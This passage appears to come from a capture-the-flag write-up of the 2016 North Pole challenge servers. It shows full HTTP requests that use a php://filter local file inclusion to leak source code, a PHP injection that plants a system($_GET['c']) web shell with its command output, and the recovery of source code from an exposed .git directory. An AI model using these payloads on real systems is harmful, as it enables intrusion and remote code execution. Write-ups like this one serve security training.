ads_meteor_miner_admin_page.png

In one of these quotes, we can see that there's a link to the MP3 file we want. We can then download the MP3 file from this URL: http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3

ads_result.png

The Uncaught Exception Handler Server

When the Android application encounters a Java exception, it's sent to an exception handling server: http://ex.northpolewonderland.com/exception.php. For example, when I first tried to run the Santagram application on a virtual Android device, this exception was sent (some problem with the resolution of my virtual device):

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 3860

{"operation":"WriteCrashDump","data":{"message":"Canvas: trying to draw too large(113246208bytes) bitmap.","lmessage":"Canvas: trying to draw too large(113246208bytes) bitmap.","strace":"java.lang.RuntimeException: Canvas: trying to draw too large(113246208bytes) bitmap.\n\tat android.view.DisplayListCanvas.throwIfCannotDraw(DisplayListCanvas.java:260)\n\tat android.graphics.Canvas.drawBitmap(Canvas.java:1415)\n\tat android.graphics.drawable.BitmapDrawable.draw(BitmapDrawable.java:528)\n\tat android.widget.ImageView.onDraw(ImageView.java:1316)\n\tat android.view.View.draw(View.java:17185)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16167)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.draw(View.java:17188)\n\tat com.android.internal.policy.DecorView.draw(DecorView.java:753)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16167)\n\tat android.view.ThreadedRenderer.updateViewTreeDisplayList(ThreadedRenderer.java:648)\n\tat android.view.ThreadedRenderer.updateRootDisplayList(ThreadedRenderer.java:654)\n\tat android.view.ThreadedRenderer.draw(ThreadedRenderer.java:762)\n\tat android.view.ViewRootImpl.draw(ViewRootImpl.java:2800)\n\tat android.view.ViewRootImpl.performDraw(ViewRootImpl.java:2608)\n\tat android.view.ViewRootImpl.performTraversals(ViewRootImpl.java:2215)\n\tat android.view.ViewRootImpl.doTraversal(ViewRootImpl.java:1254)\n\tat android.view.ViewRootImpl$TraversalRunnable.run(ViewRootImpl.java:6337)\n\tat android.view.Choreographer$CallbackRecord.run(Choreographer.java:874)\n\tat android.view.Choreographer.doCallbacks(Choreographer.java:686)\n\tat android.view.Choreographer.doFrame(Choreographer.java:621)\n\tat android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:860)\n\tat android.os.Handler.handleCallback(Handler.java:751)\n\tat android.os.Handler.dispatchMessage(Handler.java:95)\n\tat android.os.Looper.loop(Looper.java:154)\n\tat android.app.ActivityThread.main(ActivityThread.java:6119)\n\tat java.lang.reflect.Method.invoke(Native Method)\n\tat com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:886)\n\tat com.android.internal.os.ZygoteInit.main(ZygoteInit.java:776)\n","model":"Android SDK built for x86","sdkint":"25","device":"generic_x86","product":"sdk_google_phone_x86","lversion":"3.10.0+","vmheapsz":"123054440","vmallocmem":"119010712","vmheapszlimit":"536870912","natallocmem":"7198792","cpuusage":"0.08108108","totalstor":"1560133632","freestor":"120262656","busystor":"1439870976","udid":"58bc60a3ff0f2f1a"}}

I got this response from the server:

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 26 Dec 2016 22:19:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 81

{
    "success" : true,
    "folder" : "docs",
    "crashdump" : "crashdump-WgyLFG.php"
}

So, apparently, a file docs/crashdump-WgyLFG.php was created. That's very interesting, because this means that we may be able to upload valid PHP code to be executed. The first thing I did was try to put PHP code in the exception, to see if it was executed:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 429

{"operation":"WriteCrashDump","data":{"message":"<?php phpinfo(); ?>","lmessage":"Message.","strace":"Stack trace","sdkint":"25","device":"generic_x86","product":"sdk_google_phone_x86","lversion":"3.10.0+","vmheapsz":"123054440","vmallocmem":"119010712","vmheapszlimit":"536870912","natallocmem":"7198792","cpuusage":"0.08108108","totalstor":"1560133632","freestor":"120262656","busystor":"1439870976","udid":"58bc60a3ff0f2f1a"}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:27:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 81

{
    "success" : true,
    "folder" : "docs",
    "crashdump" : "crashdump-yoerjb.php"
}
GET /docs/crashdump-yoerjb.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 0
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:28:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 488

{
    "message": "<?php phpinfo(); ?>",
    "lmessage": "Message.",
    "strace": "Stack trace",
    "sdkint": "25",
    "device": "generic_x86",
    "product": "sdk_google_phone_x86",
    "lversion": "3.10.0+",
    "vmheapsz": "123054440",
    "vmallocmem": "119010712",
    "vmheapszlimit": "536870912",
    "natallocmem": "7198792",
    "cpuusage": "0.08108108",
    "totalstor": "1560133632",
    "freestor": "120262656",
    "busystor": "1439870976",
    "udid": "58bc60a3ff0f2f1a"
}

No such luck, our code was not executed. By playing with other parameters, I got this error message when I modified the operation parameter:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 419

{"operation":"Test","data":{"message":"<?php phpinfo(); ?>","lmessage":"Message.","strace":"Stack trace","sdkint":"25","device":"generic_x86","product":"sdk_google_phone_x86","lversion":"3.10.0+","vmheapsz":"123054440","vmallocmem":"119010712","vmheapszlimit":"536870912","natallocmem":"7198792","cpuusage":"0.08108108","totalstor":"1560133632","freestor":"120262656","busystor":"1439870976","udid":"58bc60a3ff0f2f1a"}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:30:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 82

Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.

Ok, so we can create crash dump file, but we can also read from them. Let's try to read one. Since I don't know how this API function works, I tried creating a valid ReadCrashDump request by trial and error:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 29

{"operation":"ReadCrashDump"}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:33:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 42

Fatal error! JSON key 'data' must be set.

Alright, a data key must be set. Let's try this:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 40

{"operation":"ReadCrashDump", "data":""}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:34:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 47

Fatal error! JSON key 'crashdump' must be set.

Ok, we now need a crashdump key. Let's add it:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 57

{"operation":"ReadCrashDump", "data":"", "crashdump": ""}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:35:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 47

Fatal error! JSON key 'crashdump' must be set.

Hmm, the server does not seem to like where we put our crashdump key. Maybe we should put it in the data object?

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 56

{"operation":"ReadCrashDump", "data": {"crashdump": ""}}
HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:36:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 0

Alright, we got a 500 error. Our syntax seems to be correct, but the server generated an error, probably because we didn't put anything in the crashdump key. Let's try to put one of our file:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 76

{"operation":"ReadCrashDump", "data" :{"crashdump": "crashdump-yoerjb.php"}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:38:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 66

Fatal error! crashdump value duplicate '.php' extension detected.

We got a "fatal error", but the web server returned a 200 OK code. This probably means that we encountered an application error, but not an HTTP error. The error message looks like there is custom filtering on the crashdump parameter. Filtering on .php extensions seems like a filter against Local File Inclusion. The crashdump parameter is most likely used to include one of the created crash dump file.

Since .php extensions seem to be filtered, this LFI seems a good candidate for PHP wrappers. PHP wrappers are URL starting with php://. They can be used to access different I/O streams, and work on them directly. One of these wrappers, and a very interesting one in the case of an LFI is the filter wrapper. The filter wrapper can be used to manipulate files present on the file system, and transform them (base64-encode, ROT13-encode, etc.). Since the server seems to append .php automatically to the crashdump parameter (cue the error message), we can use a php://filter to read files from the server, such as source code file. Let's try to read the exception.php file:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 112

{"operation":"ReadCrashDump", "data":{"crashdump":"php://filter/read=convert.base64-encode/resource=exception"}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:53:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 3168

PD9waHAgCgojIEF1ZGlvIGZpbGUgZnJvbSBEaXNjb21ib2J1bGF0b3IgaW4gd2Vicm9vdDogZGlzY29tYm9idWxhdGVkLWF1ZGlvLTYtWHl6RTNOOVlxS05ILm1wMwoKIyBDb2RlIGZyb20gaHR0cDovL3RoaXNpbnRlcmVzdHNtZS5jb20vcmVjZWl2aW5nLWpzb24tcG9zdC1kYXRhLXZpYS1waHAvCiMgTWFrZSBzdXJlIHRoYXQgaXQgaXMgYSBQT1NUIHJlcXVlc3QuCmlmKHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10sICdQT1NUJykgIT0gMCl7CiAgICBkaWUoIlJlcXVlc3QgbWV0aG9kIG11c3QgYmUgUE9TVFxuIik7Cn0KCSAKIyBNYWtlIHN1cmUgdGhhdCB0aGUgY29udGVudCB0eXBlIG9mIHRoZSBQT1NUIHJlcXVlc3QgaGFzIGJlZW4gc2V0IHRvIGFwcGxpY2F0aW9uL2pzb24KJGNvbnRlbnRUeXBlID0gaXNzZXQoJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA/IHRyaW0oJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA6ICcnOwppZihzdHJjYXNlY21wKCRjb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL2pzb24nKSAhPSAwKXsKICAgIGRpZSgiQ29udGVudCB0eXBlIG11c3QgYmU6IGFwcGxpY2F0aW9uL2pzb25cbiIpOwp9CgkKIyBHcmFiIHRoZSByYXcgUE9TVC4gTmVjZXNzYXJ5IGZvciBKU09OIGluIHBhcnRpY3VsYXIuCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRvYmogPSBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CgkjIElmIGpzb25fZGVjb2RlIGZhaWxlZCwgdGhlIEpTT04gaXMgaW52YWxpZC4KaWYoIWlzX2FycmF5KCRvYmopKXsKICAgIGRpZSgiUE9TVCBjb250YWlucyBpbnZhbGlkIEpTT04hXG4iKTsKfQoKIyBQcm9jZXNzIHRoZSBKU09OLgppZiAoICEgaXNzZXQoICRvYmpbJ29wZXJhdGlvbiddKSBvciAoCgkkb2JqWydvcGVyYXRpb24nXSAhPT0gIldyaXRlQ3Jhc2hEdW1wIiBhbmQKCSRvYmpbJ29wZXJhdGlvbiddICE9PSAiUmVhZENyYXNoRHVtcCIpKQoJewoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ29wZXJhdGlvbicgbXVzdCBiZSBzZXQgdG8gV3JpdGVDcmFzaER1bXAgb3IgUmVhZENyYXNoRHVtcC5cbiIpOwp9CmlmICggaXNzZXQoJG9ialsnZGF0YSddKSkgewoJaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiV3JpdGVDcmFzaER1bXAiKSB7CgkJIyBXcml0ZSBhIG5ldyBjcmFzaCBkdW1wIHRvIGRpc2sKCQlwcm9jZXNzQ3Jhc2hEdW1wKCRvYmpbJ2RhdGEnXSk7Cgl9CgllbHNlaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiUmVhZENyYXNoRHVtcCIpIHsKCQkjIFJlYWQgYSBjcmFzaCBkdW1wIGJhY2sgZnJvbSBkaXNrCgkJcmVhZENyYXNoZHVtcCgkb2JqWydkYXRhJ10pOwoJfQp9CmVsc2UgewoJIyBkYXRhIGtleSB1bnNldAoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ2RhdGEnIG11c3QgYmUgc2V0LlxuIik7Cn0KZnVuY3Rpb24gcHJvY2Vzc0NyYXNoZHVtcCgkY3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7Cgkkb3V0cHV0ZmlsZW5hbWUgPSB0ZW1wbmFtKCRiYXNlcGF0aCwgImNyYXNoZHVtcC0iKTsKCXVubGluaygkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkb3V0cHV0ZmlsZW5hbWUgPSAkb3V0cHV0ZmlsZW5hbWUgLiAiLnBocCI7CgkkYmFzZW5hbWUgPSBiYXNlbmFtZSgkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkY3Jhc2hkdW1wX2VuY29kZWQgPSAiPD9waHAgcHJpbnQoJyIgLiBqc29uX2VuY29kZSgkY3Jhc2hkdW1wLCBKU09OX1BSRVRUWV9QUklOVCkgLiAiJyk7IjsKCWZpbGVfcHV0X2NvbnRlbnRzKCRvdXRwdXRmaWxlbmFtZSwgJGNyYXNoZHVtcF9lbmNvZGVkKTsKCQkJCglwcmludCA8PDxFTkQKewoJInN1Y2Nlc3MiIDogdHJ1ZSwKCSJmb2xkZXIiIDogImRvY3MiLAoJImNyYXNoZHVtcCIgOiAiJGJhc2VuYW1lIgp9CgpFTkQ7Cn0KZnVuY3Rpb24gcmVhZENyYXNoZHVtcCgkcmVxdWVzdGVkQ3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7CgljaGRpcigkYmFzZXBhdGgpOwkJCgkKCWlmICggISBpc3NldCgkcmVxdWVzdGVkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXSkpIHsKCQlkaWUoIkZhdGFsIGVycm9yISBKU09OIGtleSAnY3Jhc2hkdW1wJyBtdXN0IGJlIHNldC5cbiIpOwoJfQoKCWlmICggc3Vic3RyKHN0cnJjaHIoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10sICIuIiksIDEpID09PSAicGhwIiApIHsKCQlkaWUoIkZhdGFsIGVycm9yISBjcmFzaGR1bXAgdmFsdWUgZHVwbGljYXRlICcucGhwJyBleHRlbnNpb24gZGV0ZWN0ZWQuXG4iKTsKCX0KCWVsc2UgewoJCXJlcXVpcmUoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10gLiAnLnBocCcpOwoJfQkKfQoKPz4K

Yes! We managed to get the source code of the exception.php page, encoded in base64. By decoding it, we have access to the source code, and we can see how our data are treated:

<?php

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
    die("Request method must be POST\n");
}

# Make sure that the content type of the POST request has been set to application/json
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : '';
if(strcasecmp($contentType, 'application/json') != 0){
    die("Content type must be: application/json\n");
}

# Grab the raw POST. Necessary for JSON in particular.
$content = file_get_contents("php://input");
$obj = json_decode($content, true);
    # If json_decode failed, the JSON is invalid.
if(!is_array($obj)){
    die("POST contains invalid JSON!\n");
}

# Process the JSON.
if ( ! isset( $obj['operation']) or (
    $obj['operation'] !== "WriteCrashDump" and
    $obj['operation'] !== "ReadCrashDump"))
    {
    die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n");
}
if ( isset($obj['data'])) {
    if ($obj['operation'] === "WriteCrashDump") {
        # Write a new crash dump to disk
        processCrashDump($obj['data']);
    }
    elseif ($obj['operation'] === "ReadCrashDump") {
        # Read a crash dump back from disk
        readCrashdump($obj['data']);
    }
}
else {
    # data key unset
    die("Fatal error! JSON key 'data' must be set.\n");
}
function processCrashdump($crashdump) {
    $basepath = "/var/www/html/docs/";
    $outputfilename = tempnam($basepath, "crashdump-");
    unlink($outputfilename);

    $outputfilename = $outputfilename . ".php";
    $basename = basename($outputfilename);

    $crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
    file_put_contents($outputfilename, $crashdump_encoded);

    print <<<END
{
    "success" : true,
    "folder" : "docs",
    "crashdump" : "$basename"
}

END;
}
function readCrashdump($requestedCrashdump) {
    $basepath = "/var/www/html/docs/";
    chdir($basepath);

    if ( ! isset($requestedCrashdump['crashdump'])) {
        die("Fatal error! JSON key 'crashdump' must be set.\n");
    }

    if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) {
        die("Fatal error! crashdump value duplicate '.php' extension detected.\n");
    }
    else {
        require($requestedCrashdump['crashdump'] . '.php');
    }
}

?>

Now that I'm pasting this source code, I see that the audio file path is given in the top comment of the file. But I was so eager to find out how WriteCrashDump and ReadCrashDump work that I didn't see it. Woopsie for me! Ok, bear with me, and let's suppose that the audio file was not given in the comment (plus, it's more fun this way, so there!).

When we call WriteCrashDump, we can see that our data are JSON encoded, surrounded by print(' and ');, then stored in a PHP file. Since JSON encoding does not encode single-quote, we can escape from our print statement:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 309

{"operation":"WriteCrashDump","data":{"message":" ');system($_GET['c']);die();print('","lmessage":"","strace":"","model":"","sdkint":"","device":"","product":"","lversion":"","vmheapsz":"","vmallocmem":"","vmheapszlimit":"","natallocmem":"","cpuusage":"","totalstor":"","freestor":"","busystor":"","udid":""}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 16:01:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 81

{
    "success" : true,
    "folder" : "docs",
    "crashdump" : "crashdump-F4Xkdl.php"
}

We now have a functional webshell, stored in the crashdump-F4Xkdl.php file. We just have to put our wanted command in the GET parameter c:

GET /docs/crashdump-F4Xkdl.php?c=whoami HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 0
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 16:03:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28

{
    "message": " www-data

Yes, our command was executed properly. We can now list the content of the webroot:

GET /docs/crashdump-F4Xkdl.php?c=ls+-lh+../ HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 0
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 16:04:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 237

{
    "message": " total 352K
-rw-r--r-- 1 jeff     jeff     219K Dec  7 17:08 discombobulated-audio-6-XyzE3N9YqKNH.mp3
drwxr-xr-x 2 www-data www-data 124K Dec 29 16:01 docs
-r--r--r-- 1 www-data www-data 2.4K Dec  7 16:58 exception.php

We now have the name of the audio file, without having to rely on the comment in the exception.php file, we're such haXXorz. Anyway, the URL to the audio file is: http://ex.northpolewonderland.com/discombobulated-audio-6-XyzE3N9YqKNH.mp3

ex_audio_result.png

The Mobile Analytics Server (post authentication)

We may have found the first audio file in the analytics server by logging in, but we haven't taken a look at the functionalities offered by the server. Basically, we can query some usage information of the Android application, and save these queries:

  • First, we performed a query, that we save:
analytics_guest_query.png
  • Then, we get the result of our query:
analytics_guest_query_result.png
  • We can then consult the result of our saved query:
analytics_guest_query_saved.png

Playing with the different parameters to conduct usual attacks (SQLi, LFI, etc.) didn't lead to anything. On the suggestion of one of the elves, we can use nmap -sC to find interesting files hosted by the web server:

$ nmap -sC analytics.northpolewonderland.com
Starting Nmap 6.47 ( http://nmap.org ) at 2016-12-26 11:52 CET
Nmap scan report for analytics.northpolewonderland.com (104.198.252.157)
Host is up (0.14s latency).
rDNS record for 104.198.252.157: 157.252.198.104.bc.googleusercontent.com
Not shown: 998 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
443/tcp open  https
| http-git:
|   104.198.252.157:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Finishing touches (style, css, etc)
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00+00:00
|_Not valid after:  2017-03-07T17:35:00+00:00
|_ssl-date: 1970-06-11T20:44:11+00:00; -46y197d14h08m10s from local time.
| tls-nextprotoneg:
|_  http/1.1

A Git repository was found. That's very interesting, because it means we can download the source code of the website to analyze it. It also means that we have access to the history of every file modifications. Let's download the source of the web site with wget:

$ wget -r -k -np https://analytics.northpolewonderland.com/.git/
--2016-12-26 11:53:55--  https://analytics.northpolewonderland.com/.git/
Résolution de analytics.northpolewonderland.com (analytics.northpolewonderland.com)… 104.198.252.157
Connexion à analytics.northpolewonderland.com (analytics.northpolewonderland.com)|104.198.252.157|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : non indiqué [text/html]
Sauvegarde en : « analytics.northpolewonderland.com/.git/index.html »

analytics.northpolewonderland.com/.git/index.html     [ <=>                                                                                                          ]   1,36K  --.-KB/s   ds 0s

2016-12-26 11:53:56 (14,2 MB/s) - « analytics.northpolewonderland.com/.git/index.html » sauvegardé [1394]

Chargement de robots.txt ; veuillez ignorer les erreurs.
--2016-12-26 11:53:56--  https://analytics.northpolewonderland.com/robots.txt
Réutilisation de la connexion existante à analytics.northpolewonderland.com:443.
requête HTTP transmise, en attente de la réponse… 404 Not Found
2016-12-26 11:53:56 erreur 404 : Not Found.

--2016-12-26 11:53:56--  https://analytics.northpolewonderland.com/.git/branches/
Réutilisation de la connexion existante à analytics.northpolewonderland.com:443.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : non indiqué [text/html]
Sauvegarde en : « analytics.northpolewonderland.com/.git/branches/index.html »

[...]

--2016-12-26 11:54:45--  https://analytics.northpolewonderland.com/.git/logs/refs/heads/master
Réutilisation de la connexion existante à analytics.northpolewonderland.com:443.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 4284 (4,2K) [application/octet-stream]
Sauvegarde en : « analytics.northpolewonderland.com/.git/logs/refs/heads/master »

analytics.northpolewonderland.com/.git/logs/refs/ 100%[=============================================================================================================>]   4,18K  --.-KB/s   ds 0s

2016-12-26 11:54:45 (45,9 MB/s) — « analytics.northpolewonderland.com/.git/logs/refs/heads/master » sauvegardé [4284/4284]

Terminé — 2016-12-26 11:54:45 —
Temps total effectif : 50s
Téléchargés : 305 fichiers, 614K en 0,9s (695 KB/s)
$ ls -la analytics.northpolewonderland.com
total 12
drwxr-xr-x 3 yme yme 4096 déc.  26 14:44 .
drwxr-xr-x 3 yme yme 4096 déc.  26 14:44 ..
drwxr-xr-x 8 yme yme 4096 déc.  26 14:45 .git

Alright, the Git repository was completely downloaded, but the source files don't seem to be here. Let's inspect the Git repository:

$ cd analytics.northpolewonderland.com
$ git status
Sur la branche master
Modifications qui ne seront pas validées :
  (utilisez "git add/rm <fichier>..." pour mettre à jour ce qui sera validé)
  (utilisez "git checkout -- <fichier>..." pour annuler les modifications dans la copie de travail)

    supprimé :        README.md
    supprimé :        crypto.php
    supprimé :        css/bootstrap-theme.css
    supprimé :        css/bootstrap-theme.css.map
    supprimé :        css/bootstrap-theme.min.css
    supprimé :        css/bootstrap-theme.min.css.map
    supprimé :        css/bootstrap.css
    supprimé :        css/bootstrap.css.map
    supprimé :        css/bootstrap.min.css
    supprimé :        css/bootstrap.min.css.map
    supprimé :        css/bootstrap.min.css.orig
    supprimé :        db.php
    supprimé :        edit.php
    supprimé :        fonts/glyphicons-halflings-regular.eot
    supprimé :        fonts/glyphicons-halflings-regular.svg
    supprimé :        fonts/glyphicons-halflings-regular.ttf
    supprimé :        fonts/glyphicons-halflings-regular.woff
    supprimé :        fonts/glyphicons-halflings-regular.woff2
    supprimé :        footer.php
    supprimé :        getaudio.php
    supprimé :        header.php
    supprimé :        index.php
    supprimé :        js/bootstrap.js
    supprimé :        js/bootstrap.min.js
    supprimé :        js/npm.js
    supprimé :        login.php
    supprimé :        logout.php
    supprimé :        mp3.php
    supprimé :        query.php
    supprimé :        report.php
    supprimé :        sprusage.sql
    supprimé :        test/Gemfile
    supprimé :        test/Gemfile.lock
    supprimé :        test/test_client.rb
    supprimé :        this_is_html.php
    supprimé :        this_is_json.php
    supprimé :        uuid.php
    supprimé :        view.php

Sorry about the French Git output, but "supprimé" means "deleted". So, every source file was deleted, but the deletion was not commited, which means we can cancel the deletion:

$ git checkout -- .
$ ls
crypto.php  db.php    fonts       getaudio.php  index.php  login.php   mp3.php    README.md   sprusage.sql  this_is_html.php  uuid.php
css         edit.php  footer.php  header.php    js         logout.php  query.php  report.php  test          this_is_json.php  view.php

You can download the code source archive here (sha256: 13a4f237f817300e1e23a95edaf4ea407a4a346d20c2115ca13eea30b69ee65c). It contains the Git repository.

Alright, we now have access to the source code of the web application! This should makes things easier. First of all, we can see that there's a file edit.php, which is not accessible when we're connected as guest:

analytics_guest_edit_denied.png

Indeed, the edit.php page is only accessible to the administrator user:

# File edit.php
<?php
  # This should be the first require
  require_once('this_is_html.php');
  require_once('db.php');

  # Don't allow anybody to access this page (yet!)
  restrict_page_to_users($db, []);
# File this_is_html.php
<?php
[...]
  function restrict_page_to_users($db, $users) {
    $username = get_username();

    if(!$username) {
      header('Location: login.php');
      exit(0);
    }

    check_access($db, $username, $users);
  }
# File db.php
<?php
[...]
  function get_username() {
    if(!isset($_COOKIE['AUTH'])) {
      return;
    }

    $auth = json_decode(decrypt(pack("H*",$_COOKIE['AUTH'])), true);

    return $auth['username'];
  }
